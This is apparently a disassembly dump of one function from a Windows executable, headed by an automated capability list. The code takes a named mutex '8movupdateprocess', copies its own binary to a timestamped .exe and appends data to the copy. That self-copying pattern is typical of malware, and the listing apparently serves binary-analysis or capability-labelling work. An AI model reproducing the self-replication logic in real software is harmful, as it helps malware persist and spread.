Function at 0x401ac0
Capabilities:
Check mutex on windows
Copy file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x45c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x458], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.8movupdateprocess
push 1
lea eax, [esp + 0x38]
lea edx, [esp + 0x1c]
push eax
mov dword [esp + 0x3c], 0xc
mov dword [esp + 0x44], 1
mov dword [esp + 0x40], edx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
cmp eax, 0xb7
jne 0x401b5c
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.00401d82
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
cmp edi, 1
jne 0x401b92
call fcn.00401830
call fcn.00401a70
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.00401d82
mov esp, ebp
pop ebp
ret
cmp edi, 2
jl 0x401d34
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [esp + 0x40]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401bb0
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
sub eax, edx
cmp byte [esp + eax + 0x3f], 0x5c
je 0x401bd6
mov edx, dword [ebx + 4]
push edx
push 0x4032ec
lea eax, [esp + 0x48]
push eax
jmp 0x401be4
mov ecx, dword [ebx + 4]
push ecx
push 0x403238
lea edx, [esp + 0x48]
push edx
call esi
add esp, 0xc
push 0x104
lea eax, [esp + 0x254]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
lea ecx, [esp + 0x360]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.MSVCR90.dll__splitpath]
movzx ecx, word [esp + 0x34]
movzx edx, word [esp + 0x32]
movzx eax, word [esp + 0x30]
add esp, 0x14
push ecx
movzx ecx, word [esp + 0x1e]
push edx
movzx edx, word [esp + 0x1e]
push eax
movzx eax, word [esp + 0x20]
push ecx
push edx
push eax
lea ecx, [esp + 0x48]
push str._04d_02d_02d_02d_02d_02d
push ecx
call esi
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x37c]
push eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x174]
push str._s_s_s.exe
push edx
call esi
add esp, 0x34
push 0
lea eax, [esp + 0x14c]
push eax
lea ecx, [esp + 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x148]
push 0x403318
push edx
call dword [sym.imp.MSVCR90.dll_fopen]
push 2
mov esi, eax
push 0
push esi
call dword [sym.imp.MSVCR90.dll_fseek]
add esp, 0x14
push esi
call dword [sym.imp.MSVCR90.dll_ftell]
add esp, 4
push esi
push 1
cmp edi, 2
mov edi, dword [sym.imp.MSVCR90.dll_fwrite]
mov dword [esp + 0x34], eax
push 1
jne 0x401cd4
push 0x40331c
jmp 0x401cd9
push 0x403320
call edi
lea eax, [esp + 0x40]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ce5
sub eax, edx
push esi
push eax
lea eax, [esp + 0x38]
push 1
push eax
call edi
lea ecx, [esp + 0x50]
push ecx
mov edx, ecx
push edx
push esi
call fcn.00401140
add esp, 0x1c
push esi
push 4
lea eax, [esp + 0x30]
push 1
push eax
mov dword [esp + 0x38], 0
call edi
push esi
push 4
lea ecx, [esp + 0x44]
push 1
push ecx
call edi
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 0x24
mov ecx, dword [esp + 0x464]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00401d82
mov esp, ebp
pop ebp
ret